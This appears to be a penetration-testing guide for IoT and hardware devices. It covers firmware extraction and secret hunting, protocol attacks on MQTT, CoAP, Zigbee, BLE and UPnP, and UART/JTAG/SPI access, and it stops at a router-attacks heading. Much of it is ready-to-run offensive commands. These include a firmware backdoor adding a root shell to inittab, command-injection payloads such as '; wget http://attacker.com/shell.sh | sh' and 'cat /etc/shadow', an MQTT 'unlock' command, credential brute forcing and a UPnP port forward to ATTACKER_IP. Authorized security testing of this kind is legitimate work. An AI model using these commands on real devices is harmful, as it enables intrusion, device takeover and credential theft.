Hardware & IoT Security Testing

Step 2: Test in this order (highest ROI first)

1. Web interface (if exists) - test like any web app, but IoT web apps are notoriously weak. Load injection-attacks and auth-attacks skills.
2. Default credentials - check against device model database below
3. Network services - nmap scan, test each exposed service
4. Firmware extraction - download from vendor, extract secrets
5. Physical interfaces - UART/JTAG/SPI (requires physical access)
6. Wireless protocols - MQTT/CoAP/BLE/Zigbee (requires radio hardware)

Step 3: Quick wins checklist (test these first, 10 minutes)

• Try admin:admin, admin:password, root:root on web interface
• Check for firmware update download on vendor website
• Run nmap -sV -p- DEVICE_IP - what's open?
• Check if UPnP is enabled (upnpc -l)
• Try RTSP at rtsp://DEVICE_IP:554/ (cameras)
• Check for exposed API at common paths (/api, /cgi-bin, /goform)

Firmware Analysis

Firmware Acquisition

# Download from manufacturer website
# Check for firmware update URLs in:
# - Device admin panel (update page source)
# - Mobile app traffic (proxy with Burp/mitmproxy)
# - UART console output during boot
# - FCC filings (sometimes include test firmware)
# - Wayback Machine archives of vendor download pages

# Common firmware file extensions
.bin, .img, .fw, .hex, .rom, .elf, .srec, .uf2, .dfu

# Extract from device via SPI flash
flashrom -p ch341a_spi -r firmware_dump.bin
# Or via JTAG/SWD (see Physical Interfaces section)

Firmware Extraction with Binwalk

# Analyze firmware structure
binwalk firmware.bin
# Output shows: filesystem offsets, compression types, headers

# Extract all embedded files
binwalk -e firmware.bin
# Creates _firmware.bin.extracted/ directory

# Recursive extraction (for nested archives)
binwalk -eM firmware.bin

# Entropy analysis (detect encrypted/compressed sections)
binwalk -E firmware.bin
# High entropy (>0.9) = encrypted or compressed
# Low entropy (<0.5) = plaintext, interesting data

# Common filesystem types found:
# SquashFS, JFFS2, CramFS, YAFFS2, UBIFS, ext2/3/4
# Extract manually if binwalk fails:
unsquashfs -d output/ squashfs_image
jefferson -d output/ jffs2_image

Filesystem Analysis

# After extraction, search for sensitive data:

# Hardcoded credentials
grep -rn "password" _firmware.bin.extracted/
grep -rn "passwd" _firmware.bin.extracted/
grep -rn "secret" _firmware.bin.extracted/
grep -rn "api_key\|apikey\|api-key" _firmware.bin.extracted/

# SSH keys
find _firmware.bin.extracted/ -name "id_rsa" -o -name "id_dsa" -o -name "*.pem"

# SSL/TLS certificates and private keys
find _firmware.bin.extracted/ -name "*.key" -o -name "*.crt" -o -name "*.p12"

# Configuration files
find _firmware.bin.extracted/ -name "*.conf" -o -name "*.cfg" -o -name "*.ini"
find _firmware.bin.extracted/ -name "*.json" -o -name "*.yaml" -o -name "*.yml"

# Shadow/passwd files
find _firmware.bin.extracted/ -name "shadow" -o -name "passwd"
# Crack hashes if found:
john --wordlist=rockyou.txt shadow_file
hashcat -m 500 shadow_hashes rockyou.txt

# Web application source code
find _firmware.bin.extracted/ -name "*.php" -o -name "*.cgi" -o -name "*.lua"
find _firmware.bin.extracted/ -name "*.html" -o -name "*.js"

# Binary analysis for hardcoded strings
strings firmware.bin | grep -i "password\|secret\|key\|token\|admin"
strings firmware.bin | grep -E "[a-zA-Z0-9]{32,}"  # Potential API keys/hashes

# Shared libraries and executables
find _firmware.bin.extracted/ -name "*.so" -o -executable -type f
# Check for known vulnerable library versions

Firmware Modification

# Modify filesystem (backdoor, remove auth checks)
# Example: add root shell to inittab
echo "ttyS0::respawn:/bin/sh" >> squashfs-root/etc/inittab

# Repack SquashFS
mksquashfs squashfs-root/ new_firmware.squashfs -comp xz

# Rebuild full firmware image
# (vendor-specific - may need to match checksums/headers)
# Some tools: firmware-mod-kit, ubi_reader

# Flash modified firmware back to device
flashrom -p ch341a_spi -w modified_firmware.bin

IoT Protocol Testing

How to detect which protocols the device uses (before testing):

Test detected protocols in the order listed. Web interface first (most exploitable), credentials second, network protocols third.

MQTT (Message Queuing Telemetry Transport)

# Default port: 1883 (unencrypted), 8883 (TLS)
# Test for unauthenticated access
mosquitto_sub -h target.com -t "#" -v
# "#" = wildcard, subscribes to ALL topics
# If messages appear without auth → VULNERABILITY

# Common sensitive topics:
# device/+/telemetry    - sensor data
# device/+/command      - control commands
# home/+/status         - smart home state
# $SYS/#                - broker system info

# Publish test message (if write access)
mosquitto_pub -h target.com -t "device/test/command" -m '{"action":"unlock"}'

# Enumerate topics
mosquitto_sub -h target.com -t '$SYS/#' -v  # System topics
mosquitto_sub -h target.com -t '+/+/#' -v   # Multi-level wildcard

# Brute force credentials
ncrack -p 1883 --user admin mqtt://target.com
# Common creds: admin/admin, admin/password, mqtt/mqtt

# Check for anonymous access
mosquitto_sub -h target.com -t "#" -v --id anonymous

CoAP (Constrained Application Protocol)

# Default port: 5683 (UDP)
# CoAP is like HTTP for IoT devices

# Discovery
coap-client -m get coap://target.com/.well-known/core
# Returns list of available resources (like sitemap)

# Read resources
coap-client -m get coap://target.com/sensor/temperature
coap-client -m get coap://target.com/config

# Modify resources
coap-client -m put coap://target.com/config -e '{"admin_pass":"hacked"}'

# Tools: libcoap, aiocoap, coap-cli

Zigbee

# Requires hardware: HackRF, CC2531 USB dongle, or ApiMote

# Sniff Zigbee traffic
zbstumbler -c 11-26  # Scan all channels
zbdump -c 15 -w capture.pcap  # Capture on channel 15

# Key sniffing
# Zigbee uses network key for encryption
# Key is transmitted in plaintext during device joining
# Capture the join process to get the key

# KillerBee framework
zbid                    # Identify Zigbee dongles
zbstumbler              # Find Zigbee networks
zbwireshark -c 15       # Live capture to Wireshark
zbreplay -c 15 -r capture.pcap  # Replay packets

# Default keys:
# ZigBee Alliance: 5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39
# "ZigBeeAlliance09"

BLE (Bluetooth Low Energy)

# Scan for BLE devices
hcitool lescan
# Or with modern tools:
bluetoothctl
> scan on

# Enumerate services and characteristics
gatttool -b XX:XX:XX:XX:XX:XX -I
> primary                    # List services
> characteristics            # List characteristics
> char-read-hnd 0x0025       # Read a characteristic

# Bettercap for BLE
bettercap -eval "ble.recon on"
bettercap -eval "ble.enum XX:XX:XX:XX:XX:XX"

# Common BLE vulnerabilities:
# - No pairing required (Just Works mode)
# - Static pairing PINs (000000, 123456)
# - Unencrypted characteristic writes
# - Replay of captured write commands
# - MITM during pairing (btlejuice)

# BLE MITM with btlejuice
btlejuice-proxy -u XX:XX:XX:XX:XX:XX  # On relay device
btlejuice                               # On attacker machine
# Intercept and modify BLE communications in real-time

UPnP (Universal Plug and Play)

# Discover UPnP devices on network
upnpc -l
# Or:
gssdp-discover --timeout=5

# Common vulnerabilities:
# - SSDP reflection/amplification (DDoS)
# - Exposed management interfaces
# - XML injection in SOAP requests
# - Unauthorized port forwarding

# Add port forward via UPnP (if exposed to WAN)
upnpc -a ATTACKER_IP 22 22 TCP
# This can open internal services to the internet

# miniupnp exploit tools
miranda.py  # UPnP exploitation framework
> msearch    # Discover devices
> host list  # List found hosts
> host get 0 deviceList  # Enumerate device capabilities

Physical Debug Interfaces

UART (Universal Asynchronous Receiver/Transmitter)

IDENTIFICATION:
1. Open device enclosure
2. Look for 3-4 pin headers (often unpopulated)
3. Pin layout: GND, TX, RX, (VCC optional)
4. Use multimeter to identify:
   - GND: 0V, connected to ground plane
   - VCC: 3.3V or 5V (steady)
   - TX: fluctuating voltage (data output)
   - RX: steady high voltage (data input)

TOOLS:
- USB-to-UART adapter (FTDI, CP2102, CH340)
- Logic analyzer (Saleae, DSLogic)
- JTAGulator (auto-detect pinout)

CONNECTION:
Device TX → Adapter RX
Device RX → Adapter TX
Device GND → Adapter GND
(Do NOT connect VCC unless needed)

COMMON BAUD RATES:
9600, 19200, 38400, 57600, 115200, 230400, 460800, 921600

ACCESS:
screen /dev/ttyUSB0 115200
minicom -D /dev/ttyUSB0 -b 115200
picocom /dev/ttyUSB0 -b 115200

WHAT TO LOOK FOR:
- Boot log (U-Boot, kernel messages)
- Root shell (often no authentication!)
- Debug menu with diagnostic options
- Hardcoded credentials in boot messages
- Firmware update mechanisms
- Memory addresses and kernel versions

JTAG (Joint Test Action Group)

IDENTIFICATION:
- 10-pin or 20-pin header (standard ARM layout)
- Key pins: TDI, TDO, TMS, TCK, TRST (optional), GND
- Use JTAGulator to auto-detect pinout

TOOLS:
- JTAGulator (automated pin detection)
- OpenOCD (open-source JTAG debugger)
- Bus Pirate (low-cost multi-protocol tool)
- Segger J-Link (professional debugger)

CAPABILITIES:
1. Read/write flash memory (full firmware dump)
2. Read/write RAM (runtime state)
3. Set breakpoints and single-step execution
4. Bypass secure boot (in some cases)
5. Extract encryption keys from memory
6. Unlock debug-locked processors

OPENOCD EXAMPLE:
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
# Then connect via telnet:
telnet localhost 4444
> halt
> dump_image firmware.bin 0x08000000 0x100000
> resume

SWD (Serial Wire Debug)

SWD is a 2-pin alternative to JTAG (ARM Cortex-M processors):
- SWDIO (data)
- SWCLK (clock)
- GND

Fewer pins = harder to find, easier to use

TOOLS: Same as JTAG (OpenOCD, J-Link, ST-Link)

OPENOCD for SWD:
openocd -f interface/stlink.cfg -f target/stm32f1x.cfg -c "transport select swd"

# Dump firmware
> halt
> flash read_bank 0 firmware.bin

SPI Flash Reading

# Many IoT devices store firmware on SPI flash chips
# Common chips: Winbond W25Q64, Macronix MX25L, SST25VF

# Read with flashrom and CH341A programmer
flashrom -p ch341a_spi -r firmware_dump.bin

# Or with Bus Pirate
flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware_dump.bin

# Identify chip
flashrom -p ch341a_spi
# Shows detected SPI flash chip and size

Embedded Web Interface Vulnerabilities

Common IoT Web Vulnerabilities

AUTHENTICATION:
- Default credentials (admin/admin, root/root, admin/password, admin/1234)
- Hardcoded credentials in firmware (not changeable)
- No authentication on API endpoints
- Session tokens in URL parameters
- Basic auth over HTTP (no HTTPS)
- No brute force protection
- Password recovery via serial number or MAC address

INJECTION:
- Command injection in diagnostic tools:
  Ping: 127.0.0.1; cat /etc/shadow
  Traceroute: 8.8.8.8 | id
  DNS lookup: ; wget http://attacker.com/shell.sh | sh

- OS command injection in:
  - Network configuration (DNS, NTP, DHCP)
  - Firmware update URL
  - Device name / hostname fields
  - Syslog server configuration
  - SNMP community string

INFORMATION DISCLOSURE:
- Verbose error messages with stack traces
- Debug endpoints left enabled
- Backup configuration download without auth
- Device info endpoint (model, firmware version, MAC, serial)
- SNMP with default community strings (public/private)

Router-Specific Attacks

# Common router admin endpoints